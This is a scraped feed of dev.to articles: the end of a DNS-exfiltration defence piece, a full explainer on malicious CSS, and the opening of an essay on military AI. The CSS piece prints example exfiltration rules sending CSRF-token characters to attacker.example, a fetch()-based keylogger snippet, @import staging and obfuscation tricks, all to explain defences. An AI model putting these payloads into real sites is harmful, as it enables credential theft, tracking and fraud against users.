&lt;p&gt;I.  Use Response Policy Zones and Domain Controls&lt;br&gt;
Response Policy Zones can block or redirect queries for known malicious domains, newly observed domains, or categories that do not belong in the environment. This is useful against commodity tooling and known infrastructure.&lt;/p&gt;

&lt;p&gt;Do not rely only on blocklists. Custom attacker domains may have no reputation history. Behavioral analytics are still required.&lt;/p&gt;

&lt;p&gt;J.  Close Open Recursion&lt;br&gt;
Authoritative DNS servers should not provide recursion to the internet. Recursive DNS servers should restrict service to authorized networks. This is basic hygiene, but misconfigurations persist in cloud deployments, lab environments, mergers, and forgotten appliances.&lt;/p&gt;

&lt;p&gt;K.  Inspect Cloud and Container DNS Paths&lt;br&gt;
Kubernetes clusters, serverless workloads, and cloud VPCs introduce additional resolver paths. A pod may query CoreDNS, which forwards to a cloud resolver, which then resolves externally. Logs may be split across layers.&lt;/p&gt;

&lt;p&gt;Attackers who compromise cloud workloads can abuse these paths just as they would an endpoint resolver. Cloud DNS query logging should be enabled for sensitive accounts and production networks.&lt;/p&gt;

&lt;h2&gt;
  
  
  DNSSEC and QNAME Minimization Are Not Complete Answers
&lt;/h2&gt;

&lt;p&gt;DNSSEC authenticates DNS data. It does not stop a compromised host from placing encoded data inside a query name. Signed zones can still receive maliciously crafted queries.&lt;/p&gt;

&lt;p&gt;QNAME minimization reduces unnecessary disclosure to intermediate DNS servers by sending only the needed portion of a query during iterative resolution. That is good for privacy. It does not prevent the full query name from reaching the authoritative server responsible for the attacker-controlled domain. The payload still arrives where the attacker needs it.&lt;/p&gt;

&lt;p&gt;Security controls must be aligned with the abuse pattern. DNS exfiltration abuses query generation and recursive forwarding, not merely spoofed responses or unsigned records.&lt;/p&gt;

&lt;h2&gt;
  
  
  Incident Response: What to Preserve
&lt;/h2&gt;

&lt;p&gt;If DNS exfiltration is suspected, preserve resolver logs quickly. Also collect endpoint DNS cache data, process telemetry, EDR events, proxy logs, firewall flows, and any evidence of direct resolver configuration changes.&lt;/p&gt;

&lt;p&gt;Key questions include:&lt;br&gt;
• Which internal hosts generated the suspicious queries?&lt;br&gt;
• Which parent domains received the highest number of unique subdomains?&lt;br&gt;
• Did queries use approved resolvers or bypass controls?&lt;br&gt;
• What query types and response codes were involved?&lt;br&gt;
• Were the domains newly registered or hosted on unusual name servers?&lt;br&gt;
• Do the encoded labels share chunk counters, timestamps, or session identifiers?&lt;br&gt;
• What sensitive files, tokens, or credentials were accessible to the host?&lt;/p&gt;

&lt;p&gt;Containment should include blocking the domain, isolating affected hosts, rotating exposed credentials, and reviewing adjacent systems. If the payload can be reconstructed from logs, treat it as confirmed data exposure.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Practical Standard
&lt;/h2&gt;

&lt;p&gt;DNS is not just plumbing. It is a data path with reach, trust, and weak inspection in many networks. Recursive resolvers are especially powerful because they sit between nearly every internal system and the public naming hierarchy.&lt;/p&gt;

&lt;p&gt;The practical standard is straightforward: force DNS to approved resolvers, log enough to reconstruct abuse, detect high-entropy and high-cardinality query behaviour, control encrypted DNS, and treat resolver infrastructure as a security boundary. Attackers already understand that DNS is allowed almost everywhere. Defenders need to make that permission conditional, observable, and revocable.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>networking</category>
      <category>security</category>
    </item>
    <item>
      <title>THE WIERD AND WONDERFUL WOLRD OF MALICIOUS CODE HIDDEN IN CSS</title>
      <dc:creator>Njenga Ng'ang'a</dc:creator>
      <pubDate>Mon, 07 Sep 2026 16:10:38 +0000</pubDate>
      <link>https://dev.to/njenga_nganga_00063bc67/the-wierd-and-wonderful-wolrd-of-malicious-code-hidden-in-css-5d0m</link>
      <guid>https://dev.to/njenga_nganga_00063bc67/the-wierd-and-wonderful-wolrd-of-malicious-code-hidden-in-css-5d0m</guid>
      <description>&lt;p&gt;CSS can leak secrets, track users, trigger network requests, fingerprint devices, and turn a harmless-looking stylesheet into an active part of an attack chain.&lt;/p&gt;

&lt;p&gt;JavaScript gets most of the blame for browser-side compromise, but CSS has a quieter kind of power. It cannot open a socket, read arbitrary files, or loop through memory. It can, however, observe document structure, react to attribute values, load remote resources, alter rendering, and exploit differences between browsers, fonts, media features, and user state.&lt;/p&gt;

&lt;p&gt;That is enough to cause trouble.&lt;br&gt;
A malicious stylesheet often looks boring. It may contain normal selectors, brand colors, responsive rules, and a few suspicious url() values buried among hundreds of declarations. &lt;/p&gt;

&lt;p&gt;The code does not announce itself. It waits for the browser’s rendering engine to do what CSS was designed to do: match selectors and fetch assets.&lt;/p&gt;

&lt;p&gt;**&lt;/p&gt;
&lt;h2&gt;
  
  
  Why CSS Can Be Dangerous
&lt;/h2&gt;

&lt;p&gt;**&lt;br&gt;
CSS was built to describe presentation, but modern presentation is interactive and conditional. &lt;/p&gt;

&lt;p&gt;A stylesheet can ask questions about the page and the user’s environment:&lt;/p&gt;

&lt;p&gt;&lt;a class="mentioned-user" href="https://dev.to/media"&gt;@media&lt;/a&gt; (prefers-color-scheme: dark) { ... }&lt;br&gt;
&lt;a class="mentioned-user" href="https://dev.to/media"&gt;@media&lt;/a&gt; (min-width: 1200px) { ... }&lt;br&gt;
@supports (display: grid) { ... }&lt;br&gt;
input[value^="a"] { ... }&lt;br&gt;
It can also force network requests:&lt;br&gt;
body {&lt;br&gt;
  background-image: url("&lt;a href="https://attacker.example/pixel%22" rel="noopener noreferrer"&gt;https://attacker.example/pixel"&lt;/a&gt;);&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;Those two abilities, conditional matching and remote fetching, create the core primitive behind many CSS attacks.&lt;/p&gt;

&lt;p&gt;If a rule matches, the browser may request a resource. If it does not match, no request happens. To an attacker watching server logs, that difference is data.&lt;/p&gt;

&lt;p&gt;CSS is not “code execution” in the classic sense, but it is still programmable behaviour. Selectors act as conditions and URL loads act as outputs. The DOM becomes input.&lt;/p&gt;

&lt;p&gt;**&lt;/p&gt;
&lt;h2&gt;
  
  
  CSS Exfiltration with Attribute Selectors
&lt;/h2&gt;

&lt;p&gt;**&lt;br&gt;
The most famous CSS attack class is data exfiltration through selectors.&lt;/p&gt;

&lt;p&gt;Suppose an attacker can inject CSS into a page that contains a secret token in an HTML attribute:&lt;/p&gt;

&lt;p&gt;&lt;br&gt;
CSS attribute selectors can test that value:&lt;br&gt;
input[name="csrf"][value^="a"] {&lt;br&gt;
  background-image: url("&lt;a href="https://attacker.example/leak/a%22" rel="noopener noreferrer"&gt;https://attacker.example/leak/a"&lt;/a&gt;);&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;input[name="csrf"][value^="b"] {&lt;br&gt;
  background-image: url("&lt;a href="https://attacker.example/leak/b%22" rel="noopener noreferrer"&gt;https://attacker.example/leak/b"&lt;/a&gt;);&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;If the token begins with a, the first rule matches and the browser requests:&lt;br&gt;
&lt;a href="https://attacker.example/leak/a" rel="noopener noreferrer"&gt;https://attacker.example/leak/a&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The attacker learns the first character. More rules can test the next prefix:&lt;br&gt;
input[name="csrf"][value^="a0"] { background: url("/leak/a0"); }&lt;br&gt;
input[name="csrf"][value^="a1"] { background: url("/leak/a1"); }&lt;br&gt;
input[name="csrf"][value^="a2"] { background: url("/leak/a2"); }&lt;/p&gt;

&lt;p&gt;With enough requests, a secret can be reconstructed character by character.&lt;/p&gt;

&lt;p&gt;This is noisy but practical in some conditions. It works best when:&lt;br&gt;
• Sensitive values are present in DOM attributes.&lt;br&gt;
• The attacker can inject arbitrary CSS.&lt;br&gt;
• The page allows external image, font, or import requests.&lt;br&gt;
• The secret alphabet is small or predictable.&lt;br&gt;
• The attacker can update styles over multiple rounds.&lt;/p&gt;

&lt;p&gt;Modern applications often place CSRF tokens, API keys, user IDs, state parameters, feature flags, and internal metadata in HTML. &lt;/p&gt;

&lt;p&gt;If that data is exposed to selectors, CSS can become a read side channel.&lt;/p&gt;

&lt;p&gt;Reading Form Values Is Harder Than Reading Attributes&lt;br&gt;
There is a key limitation: CSS selectors generally match attributes, not live property values.&lt;/p&gt;

&lt;p&gt;This matters for forms. If a user types into:&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;CSS cannot normally select based on the current typed value. This selector tests an HTML attribute, not the live password field content:&lt;br&gt;
input[name="password"][value^="s"] { ... }&lt;/p&gt;

&lt;p&gt;If the value attribute was not written into the markup, the rule does not reveal what the user typed.&lt;/p&gt;

&lt;p&gt;Attackers still look for ways around this. Some frameworks mirror state into attributes. Some components write user input into data-* attributes for styling. &lt;/p&gt;

&lt;p&gt;Some password managers or custom UI controls create DOM (Document Object Model) nodes containing copied values. Any of those can reintroduce risk.&lt;/p&gt;

&lt;p&gt;The safe rule is simple: do not put secrets into attributes if untrusted CSS can reach the document.&lt;/p&gt;

&lt;p&gt;**&lt;/p&gt;

&lt;h2&gt;
  
  
  Keylogging with CSS Animations and Events
&lt;/h2&gt;

&lt;p&gt;**&lt;br&gt;
Pure CSS cannot send events to a server on each keystroke. CSS plus JavaScript can.&lt;/p&gt;

&lt;p&gt;A historical trick used CSS animations to detect selector matches. The stylesheet defines animations for specific input states, and JavaScript listens for animationstart events:&lt;/p&gt;

&lt;p&gt;input[value^="a"] {&lt;br&gt;
  animation-name: leak-a;&lt;br&gt;
  animation-duration: 1ms;&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;@keyframes leak-a {&lt;br&gt;
  from { opacity: 0.99; }&lt;br&gt;
  to { opacity: 1; }&lt;br&gt;
}&lt;br&gt;
document.addEventListener("animationstart", event =&amp;gt; {&lt;br&gt;
  fetch("&lt;a href="https://attacker.example/key/" rel="noopener noreferrer"&gt;https://attacker.example/key/&lt;/a&gt;" + event.animationName);&lt;br&gt;
});&lt;/p&gt;

&lt;p&gt;This technique depends on JavaScript being available, so it is not “CSS-only” theft. Still, it shows how CSS can operate as the sensor while JavaScript acts as the transmitter.&lt;/p&gt;

&lt;p&gt;The dangerous pattern is not the animation itself. The issue is untrusted CSS being allowed to influence a page that also runs script in the same origin.&lt;/p&gt;

&lt;p&gt;**&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;a class="mentioned-user" href="https://dev.to/import"&gt;@import&lt;/a&gt; as a Staging Mechanism
&lt;/h2&gt;

&lt;p&gt;**&lt;br&gt;
A malicious stylesheet does not need to contain the full payload. It can load another stylesheet:&lt;/p&gt;

&lt;p&gt;&lt;a class="mentioned-user" href="https://dev.to/import"&gt;@import&lt;/a&gt; url("&lt;a href="https://attacker.example/stage-1.css%22" rel="noopener noreferrer"&gt;https://attacker.example/stage-1.css"&lt;/a&gt;);&lt;br&gt;
That imported file can import another:&lt;br&gt;
&lt;a class="mentioned-user" href="https://dev.to/import"&gt;@import&lt;/a&gt; url("&lt;a href="https://attacker.example/stage-2.css%22" rel="noopener noreferrer"&gt;https://attacker.example/stage-2.css"&lt;/a&gt;);&lt;/p&gt;

&lt;p&gt;This gives an attacker flexibility. The initial injected CSS can be small enough to hide in a profile field, theme setting, CMS block, Markdown extension, or compromised dependency. The remote file can change later without modifying the victim site again.&lt;/p&gt;

&lt;p&gt;&lt;a class="mentioned-user" href="https://dev.to/import"&gt;@import&lt;/a&gt; is also useful for multi-round exfiltration. The attacker serves CSS based on previous requests. &lt;/p&gt;

&lt;p&gt;If the browser requests /leak/a, the next imported stylesheet can test a0, a1, a2, and so on.&lt;br&gt;
Defenders should treat external CSS loading as an outbound communication channel, not only as a styling feature.&lt;/p&gt;

&lt;p&gt;**&lt;/p&gt;

&lt;h2&gt;
  
  
  Fonts as Tracking and Fingerprinting Tools
&lt;/h2&gt;

&lt;p&gt;**&lt;br&gt;
Fonts are another underappreciated CSS channel.&lt;br&gt;
A stylesheet can load remote fonts:&lt;/p&gt;

&lt;p&gt;@font-face {&lt;br&gt;
  font-family: "TrackedFont";&lt;br&gt;
  src: url("&lt;a href="https://attacker.example/font.woff2%22" rel="noopener noreferrer"&gt;https://attacker.example/font.woff2"&lt;/a&gt;) format("woff2");&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;body {&lt;br&gt;
  font-family: "TrackedFont", sans-serif;&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;That request reveals IP address, user agent, referrer behaviour, and timing. If the URL contains a unique identifier, it becomes a tracking pixel dressed as typography:&lt;/p&gt;

&lt;p&gt;src: url("&lt;a href="https://attacker.example/fonts/user-8f14e45f.woff2%22" rel="noopener noreferrer"&gt;https://attacker.example/fonts/user-8f14e45f.woff2"&lt;/a&gt;);&lt;/p&gt;

&lt;p&gt;Fonts can also participate in side channels. Different glyph widths can change layout. Layout changes can cause or suppress other resource loads. &lt;/p&gt;

&lt;p&gt;Researchers have used font metrics, ligatures, scrollbars, and overflow behaviour in browser side-channel attacks.&lt;/p&gt;

&lt;p&gt;Most production attacks do not need that level of sophistication. A unique remote font URL is often enough.&lt;/p&gt;

&lt;p&gt;**&lt;/p&gt;

&lt;h2&gt;
  
  
  CSS and Browser History Sniffing
&lt;/h2&gt;

&lt;p&gt;**&lt;br&gt;
Browser history sniffing through CSS was once a serious problem. &lt;/p&gt;

&lt;p&gt;The old technique abused :visited styling:&lt;br&gt;
a:visited {&lt;br&gt;
  color: red;&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;Scripts could inspect computed styles and infer which links a user had visited. Browsers fixed this class of attack by heavily restricting what styles apply to :visited and lying to scripts about computed values.&lt;/p&gt;

&lt;p&gt;The lesson remains useful: CSS can expose private user state if rendering differences are observable.&lt;/p&gt;

&lt;p&gt;Modern browsers still permit limited :visited styling, but they block high-risk properties such as background images and layout-affecting changes. A visited link should not be able to trigger a remote request.&lt;/p&gt;

&lt;p&gt;Security fixes in CSS often work this way. They do not remove the feature. They reduce observability.&lt;/p&gt;

&lt;p&gt;**&lt;/p&gt;

&lt;h2&gt;
  
  
  CSS Injection Is Not XSS, but It Still Matters
&lt;/h2&gt;

&lt;p&gt;**&lt;br&gt;
Many teams treat CSS injection as a low-severity bug because it does not directly run JavaScript. That assumption misses several real risks.&lt;br&gt;
A CSS injection bug can:&lt;br&gt;
• Exfiltrate DOM attributes.&lt;br&gt;
• Track page views through external URLs.&lt;br&gt;
• Change page content visually.&lt;br&gt;
• Hide security warnings or consent controls.&lt;br&gt;
• Overlay fake interface elements.&lt;br&gt;
• Break layouts in ways that cause user mistakes.&lt;br&gt;
• Import attacker-controlled stylesheets.&lt;br&gt;
• Combine with script gadgets already present on the page.&lt;/p&gt;

&lt;p&gt;Consider a banking page where an attacker can inject this rule:&lt;br&gt;
.confirm-transfer .amount {&lt;br&gt;
  color: transparent;&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;.confirm-transfer .amount::after {&lt;br&gt;
  content: "$10.00";&lt;br&gt;
  color: black;&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;The DOM still contains the real amount, perhaps $10,000.00, but the user sees $10.00. CSS can lie.&lt;br&gt;
Pseudo-elements make this worse:&lt;br&gt;
button.pay::after {&lt;br&gt;
  content: "Cancel";&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;A stylesheet can change perceived meaning without changing HTML. That can support phishing, fraud, or social engineering inside a trusted origin.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hiding Payloads in Plain Sight&lt;/strong&gt;&lt;br&gt;
Malicious CSS can be obfuscated without looking like traditional malware.&lt;/p&gt;

&lt;p&gt;Common hiding places include:&lt;br&gt;
• Data URLs&lt;br&gt;
background-image: url("data:image/svg+xml,%3Csvg%20...");&lt;br&gt;
Data URLs can contain encoded SVG. SVG can be complex, and historically browser differences around SVG, scripting, and external references have created security surprises.&lt;/p&gt;

&lt;p&gt;• Unicode Escapes&lt;br&gt;
body {&lt;br&gt;
  background: u\72l("&lt;a href="https://attacker.example/pixel%22" rel="noopener noreferrer"&gt;https://attacker.example/pixel"&lt;/a&gt;);&lt;br&gt;
}&lt;br&gt;
CSS escaping rules can make obvious tokens harder to grep.&lt;br&gt;
• Custom Properties&lt;br&gt;
:root {&lt;br&gt;
  --x: url("&lt;a href="https://attacker.example/a%22" rel="noopener noreferrer"&gt;https://attacker.example/a"&lt;/a&gt;);&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;.card {&lt;br&gt;
  background-image: var(--x);&lt;br&gt;
}&lt;br&gt;
The dangerous value may be defined far from where it is used.&lt;/p&gt;

&lt;p&gt;• Comment Noise&lt;br&gt;
.b/&lt;em&gt;x&lt;/em&gt;/o/&lt;em&gt;x&lt;/em&gt;/d/&lt;em&gt;x&lt;/em&gt;/y {&lt;br&gt;
  background: url("&lt;a href="https://attacker.example/p%22" rel="noopener noreferrer"&gt;https://attacker.example/p"&lt;/a&gt;);&lt;br&gt;
}&lt;br&gt;
CSS parsers are forgiving. Reviewers are tired. That combination helps attackers.&lt;/p&gt;

&lt;p&gt;• Minification&lt;br&gt;
A single-line stylesheet with 80,000 characters is hard to inspect manually. Malicious rules can hide among framework output, icon fonts, reset styles, and generated utility classes.&lt;/p&gt;

&lt;p&gt;**&lt;/p&gt;

&lt;h2&gt;
  
  
  Supply Chain Attacks Through Stylesheets
&lt;/h2&gt;

&lt;p&gt;**&lt;br&gt;
CSS often arrives through third parties:&lt;br&gt;
• NPM packages.&lt;br&gt;
• CDN-hosted frameworks.&lt;br&gt;
• WordPress themes.&lt;br&gt;
• Shopify apps.&lt;br&gt;
• Browser extensions.&lt;br&gt;
• Design systems.&lt;br&gt;
• Analytics tags that inject style blocks.&lt;br&gt;
• Ad tech scripts that add CSS dynamically.&lt;/p&gt;

&lt;p&gt;A compromised stylesheet can affect every page that imports it. The attacker may not need JavaScript if the target pages expose useful attributes or allow remote asset loading.&lt;/p&gt;

&lt;p&gt;This is why Subresource Integrity matters for static third-party CSS:&lt;br&gt;

  rel="stylesheet"&lt;br&gt;
  href="https://cdn.example.com/ui.css"&lt;br&gt;
  integrity="sha384-..."&lt;br&gt;
  crossorigin="anonymous"&amp;gt;&lt;/p&gt;

&lt;p&gt;SRI (Subresource Integrity) prevents silent modification of a referenced file, but it only works when the file is expected to remain unchanged. &lt;/p&gt;

&lt;p&gt;It is less useful for versionless CDN URLs such as:&lt;br&gt;
&lt;br&gt;
Pin versions. Pin hashes. Avoid latest.&lt;/p&gt;

&lt;p&gt;**&lt;/p&gt;

&lt;h2&gt;
  
  
  Content Security Policy for CSS Risk Reduction
&lt;/h2&gt;

&lt;p&gt;**&lt;br&gt;
Content Security Policy can sharply reduce CSS abuse if configured carefully.&lt;/p&gt;

&lt;p&gt;A basic policy might look like this:&lt;br&gt;
Content-Security-Policy:&lt;br&gt;
  default-src 'self';&lt;br&gt;
  style-src 'self';&lt;br&gt;
  img-src 'self' &lt;a href="https://images.example.com" rel="noopener noreferrer"&gt;https://images.example.com&lt;/a&gt;;&lt;br&gt;
  font-src 'self';&lt;br&gt;
  connect-src 'self';&lt;br&gt;
  object-src 'none';&lt;br&gt;
  base-uri 'none';&lt;/p&gt;

&lt;p&gt;The details matter. If style-src allows arbitrary external hosts, injected CSS can import attacker stylesheets. &lt;/p&gt;

&lt;p&gt;If img-src allows *, malicious CSS can exfiltrate through background images. If font-src allows any host, fonts can become tracking endpoints.&lt;/p&gt;

&lt;p&gt;Many applications accidentally permit exfiltration through broad image rules:&lt;br&gt;
img-src * data:;&lt;/p&gt;

&lt;p&gt;That may be convenient for user-generated content, but it gives CSS a wide output channel.&lt;/p&gt;

&lt;p&gt;A stricter policy separates trusted asset hosts from arbitrary URLs. If users need to embed images, proxy them through a controlled domain and sanitize MIME types.&lt;/p&gt;

&lt;p&gt;Also avoid inline styles where possible:&lt;br&gt;
style-src 'self' 'nonce-randomValue';&lt;/p&gt;

&lt;p&gt;Nonces can permit known-good inline styles while blocking injected ones. Hashes can work for static inline blocks.&lt;/p&gt;

&lt;p&gt;**&lt;/p&gt;

&lt;h2&gt;
  
  
  Sanitizing CSS Is Difficult
&lt;/h2&gt;

&lt;p&gt;**&lt;br&gt;
HTML sanitization is hard. CSS sanitization is worse than many teams expect.&lt;/p&gt;

&lt;p&gt;A sanitizer must understand:&lt;br&gt;
• Selector syntax.&lt;br&gt;
• Escapes.&lt;br&gt;
• url() forms.&lt;br&gt;
• &lt;a class="mentioned-user" href="https://dev.to/import"&gt;@import&lt;/a&gt;.&lt;br&gt;
• @font-face.&lt;br&gt;
• Custom properties.&lt;br&gt;
• Browser-specific parsing quirks.&lt;br&gt;
• SVG references.&lt;br&gt;
• Data URLs.&lt;br&gt;
• Nested functions.&lt;br&gt;
• Comments and malformed declarations.&lt;/p&gt;

&lt;p&gt;Regular expressions are not enough.&lt;br&gt;
If users need custom styling, constrain the feature. Instead of accepting raw CSS, provide structured options:&lt;br&gt;
{&lt;br&gt;
  "themeColor": "#2364d2",&lt;br&gt;
  "fontScale": 1.1,&lt;br&gt;
  "compactMode": true&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;Then generate CSS server-side from validated values.&lt;br&gt;
If raw CSS is unavoidable, use a real parser and an allowlist. Permit only safe properties and safe value types. Strip all URLs unless there is a compelling need. Block &lt;a class="mentioned-user" href="https://dev.to/import"&gt;@import&lt;/a&gt;, @font-face, external references, and complex selectors that can inspect sensitive attributes.&lt;/p&gt;

&lt;p&gt;A safe subset is much smaller than most people think.&lt;/p&gt;

&lt;p&gt;**&lt;/p&gt;

&lt;h2&gt;
  
  
  Practical Detection Clues
&lt;/h2&gt;

&lt;p&gt;**&lt;br&gt;
Malicious CSS often leaves traces. Look for:&lt;br&gt;
• External url() calls to unfamiliar domains.&lt;br&gt;
• &lt;a class="mentioned-user" href="https://dev.to/import"&gt;@import&lt;/a&gt; rules outside approved sources.&lt;br&gt;
• Attribute selectors targeting value, data-token, csrf, auth, secret, email, or session.&lt;br&gt;
• Large groups of prefix selectors such as [value^="a"], [value^="b"].&lt;br&gt;
• Remote fonts with unique IDs in paths.&lt;br&gt;
• Data URLs containing SVG.&lt;br&gt;
• Custom properties that wrap URLs.&lt;br&gt;
• CSS files that change frequently without release notes.&lt;br&gt;
• Inline style blocks in user-generated content.&lt;br&gt;
• Stylesheets served from mutable URLs.&lt;/p&gt;

&lt;p&gt;Automated scanning should parse CSS rather than grep raw text.&lt;/p&gt;

&lt;p&gt;Escapes, comments, and minification can defeat simple string matching.&lt;br&gt;
Network telemetry helps too. A page that should only load assets from static.example.com should not request css-cdn-usercontent.net during checkout.&lt;/p&gt;

&lt;p&gt;Engineering Habits That Prevent CSS Abuse&lt;br&gt;
The strongest defenses are boring and consistent:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; Do not allow untrusted raw CSS.&lt;/li&gt;
&lt;li&gt; Keep secrets out of DOM attributes.&lt;/li&gt;
&lt;li&gt; Use CSP to restrict style-src, img-src, and font-src.&lt;/li&gt;
&lt;li&gt; Pin third-party CSS with SRI.&lt;/li&gt;
&lt;li&gt; Avoid versionless CDN URLs.&lt;/li&gt;
&lt;li&gt; Review stylesheet changes like code changes.&lt;/li&gt;
&lt;li&gt; Proxy user-supplied media through controlled infrastructure.&lt;/li&gt;
&lt;li&gt; Strip &lt;a class="mentioned-user" href="https://dev.to/import"&gt;@import&lt;/a&gt; from user-controlled styles.&lt;/li&gt;
&lt;li&gt; Audit design tools and CMS plugins that inject CSS.&lt;/li&gt;
&lt;li&gt;Treat visual manipulation as a security issue, not only a UX bug.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;CSS is not a scripting language, but it is not inert text either. A stylesheet has inputs, conditions, side effects, and network reach. That makes it powerful enough to deserve the same suspicion given to any code running inside a trusted page.&lt;/p&gt;

&lt;p&gt;The safest assumption is that every stylesheet is part of the application’s security boundary. Review it, constrain it, and make the browser’s quiet requests visible before someone else starts reading them.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Algorithm of War: How Sensor Fusion and Autonomy Are Redefining the Battlefield</title>
      <dc:creator>Njenga Ng'ang'a</dc:creator>
      <pubDate>Tue, 11 Aug 2026 22:52:52 +0000</pubDate>
      <link>https://dev.to/njenga_nganga_00063bc67/algorithm-of-war-how-sensor-fusion-and-autonomy-are-redefining-the-battlefield-160c</link>
      <guid>https://dev.to/njenga_nganga_00063bc67/algorithm-of-war-how-sensor-fusion-and-autonomy-are-redefining-the-battlefield-160c</guid>
      <description>&lt;p&gt;AI is shifting military power away from platforms alone and toward data pipelines that can detect, decide, and act faster than human-only command structures.&lt;br&gt;
For decades, advanced militaries competed through aircraft, ships, missiles, satellites, and electronic systems. Those still matter. A stealth bomber, a guided missile, or a radar satellite remains expensive and strategically important. &lt;/p&gt;

&lt;p&gt;What has changed is the layer connecting them: machine learning models, edge processors, automated targeting aids, synthetic training environments, and decision-support systems.&lt;/p&gt;

&lt;p&gt;For IT-literate readers, the core story is familiar. War is becoming a distributed computing problem under extreme latency, bandwidth, security, and reliability constraints. The difference is that system failure can kill civilians, escalate conflicts, or trigger strategic miscalculation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Data Problem Behind Modern Combat&lt;/strong&gt;&lt;br&gt;
Modern military operations generate huge volumes of data from satellites, drones, radar, sonar, signals intelligence, cyber sensors, logistics systems, body-worn devices, and open-source feeds. The challenge is not simply collecting data. It is sorting useful signals from noise quickly enough to matter.&lt;/p&gt;

&lt;p&gt;A single high-altitude drone can stream full-motion video for hours. A constellation of small satellites can capture repeated imagery over large areas. Ground sensors may detect acoustic, seismic, thermal, or radio-frequency events. Human analysts cannot manually review all of this at operational speed.&lt;br&gt;
AI systems are now used to:&lt;br&gt;
• Detect vehicles, vessels, aircraft, and troop movements in imagery&lt;br&gt;
• Classify objects from radar, infrared, and electro-optical sensors&lt;br&gt;
• Correlate reports from multiple sources&lt;br&gt;
• Flag anomalies in network traffic or communications patterns&lt;br&gt;
• Prioritize alerts for human review&lt;br&gt;
• Predict equipment failure and supply shortages&lt;br&gt;
This is not always glamorous. Much of the military value comes from reducing analyst workload. A model that cuts 10,000 image tiles down to 400 high-priority candidates may have more practical impact than a humanoid robot with a rifle.&lt;/p&gt;

&lt;p&gt;The technical challenge is harder than civilian image recognition. Military data is often sparse, degraded, intentionally manipulated, and collected from unusual angles. Weather, camouflage, decoys, electronic interference, and adversarial behaviour all degrade model performance. A tank partly hidden under foliage is not the same problem as identifying cats in web images.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sensor Fusion and the Kill Chain&lt;/strong&gt;&lt;br&gt;
AI affects each stage of the military kill chain: find, fix, track, target, engage, and assess.&lt;/p&gt;

&lt;p&gt;The most immediate advances are in the first three stages.&lt;br&gt;
Sensor fusion combines multiple data sources into a shared operational picture. A system might correlate satellite imagery, drone video, radar tracks, intercepted emissions, and reports from units in the field. The goal is to increase confidence while reducing time-to-detection.&lt;/p&gt;

&lt;p&gt;Traditional fusion systems relied heavily on rule-based logic and human operators. Newer systems use machine learning to detect patterns across heterogeneous data. For example, a stationary object detected in satellite imagery may become more relevant if nearby radio emissions change, logistics vehicles appear, and drone footage confirms movement.&lt;/p&gt;

&lt;p&gt;This creates a technical architecture similar to large-scale event processing:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; Data ingestion from sensors and external feeds&lt;/li&gt;
&lt;li&gt; Normalization into common schemas&lt;/li&gt;
&lt;li&gt; Entity resolution across sources&lt;/li&gt;
&lt;li&gt; Classification and confidence scoring&lt;/li&gt;
&lt;li&gt; Alert routing to commanders or weapons systems&lt;/li&gt;
&lt;li&gt; Feedback loops from human decisions and battle damage assessment
The hard part is trust. A commander needs to know why a system flagged a target. Confidence scores alone are not enough. Explainability, provenance, and audit logs matter because decisions may be reviewed legally, politically, and morally.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A useful military AI system must answer questions such as:&lt;br&gt;
• Which sensors contributed to this assessment?&lt;br&gt;
• How recent is the data?&lt;br&gt;
• What alternative classifications were considered?&lt;br&gt;
• What is the estimated probability of civilian presence?&lt;br&gt;
• Has the object changed position since detection?&lt;br&gt;
• Could the signal be a decoy or spoofed source?&lt;br&gt;
These are not optional interface details. They are central to operational safety.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Autonomous Weapons and Human Control&lt;/strong&gt;&lt;br&gt;
Autonomous weapons attract the most public attention, but autonomy exists on a spectrum.&lt;/p&gt;

&lt;p&gt;At one end are automated defensive systems, such as ship-based missile defence, where reaction times are too short for manual engagement. At the other end are systems that can search for, select, and attack targets with limited human intervention. Between those extremes are loitering munitions, drone swarms, robotic ground vehicles, automated turrets, and AI-assisted targeting systems.&lt;/p&gt;

&lt;p&gt;The technical distinction between automation and autonomy matters. Automation follows predefined rules. Autonomy adapts behaviour based on sensor inputs, mission goals, and environmental conditions. &lt;/p&gt;

&lt;p&gt;Machine learning adds another layer by enabling systems to classify objects and infer patterns rather than simply execute fixed procedures.&lt;br&gt;
The central policy issue is meaningful human control. A human may approve a target category, a geographic area, a time window, or a specific strike. Each option gives different levels of control. &lt;/p&gt;

&lt;p&gt;A human clicking “approve” after a machine presents dozens of recommendations in seconds may satisfy a formal requirement while providing little real oversight.&lt;/p&gt;

&lt;p&gt;The interface design is critical. If an AI targeting tool highlights an object as hostile with 92 percent confidence, operators may defer to it under pressure. This is automation bias. In civilian IT systems, automation bias can produce bad loans or misdiagnosed medical scans. In war, it can produce unlawful strikes.&lt;/p&gt;

&lt;p&gt;Human control depends on system design, training, doctrine, and tempo. A well-designed system should make uncertainty visible. It should not hide edge cases behind clean dashboards.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drone Swarms and Distributed Autonomy&lt;/strong&gt;&lt;br&gt;
Drone warfare has advanced rapidly because small unmanned systems are cheap, modular, and software-defined. Commercial quadcopters, fixed-wing drones, and custom-built systems have been adapted for reconnaissance, artillery spotting, communications relay, and direct attack.&lt;br&gt;
